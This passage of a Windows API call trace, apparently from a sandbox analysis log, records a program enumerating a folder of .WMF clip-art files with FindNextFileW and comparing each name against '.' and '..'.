ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0079.621] lstrcmpiW (lpString1="DD00297_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00372_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00372_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00405_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00405_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00407_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00413_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00414_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00419_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00437_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00448_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00449_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0079.622] lstrcmpiW (lpString1="DD00687_.WMF", lpString2=".") returned 1 [0079.622] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="..") returned 1 [0079.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0079.623] lstrcmpiW (lpString1="DD00705_.WMF", lpString2=".") returned 1 [0079.623] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="..") returned 1 [0079.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0079.623] lstrcmpiW (lpString1="DD01015_.WMF", lpString2=".") returned 1 [0079.623] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="..") returned 1 [0079.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0079.623] lstrcmpiW (lpString1="DD01039_.WMF", lpString2=".") returned 1 [0079.623] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="..") returned 1 [0079.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0079.623] lstrcmpiW (lpString1="DD01138_.WMF", lpString2=".") returned 1 [0079.623] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="..") returned 1 [0079.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0079.623] lstrcmpiW (lpString1="DD01139_.WMF", lpString2=".") returned 1 [0079.623] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="..") returned 1 [0079.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01140_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01143_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01145_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01146_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01151_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01152_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01157_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01160_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01162_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01163_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0079.624] lstrcmpiW (lpString1="DD01166_.WMF", lpString2=".") returned 1 [0079.624] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="..") returned 1 [0079.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01167_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01168_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01168_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01169_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01169_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01170_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01170_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01171_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01172_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01173_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01176_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01176_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01178_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01178_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01179_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01179_.WMF", lpString2="..") returned 1 [0079.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, 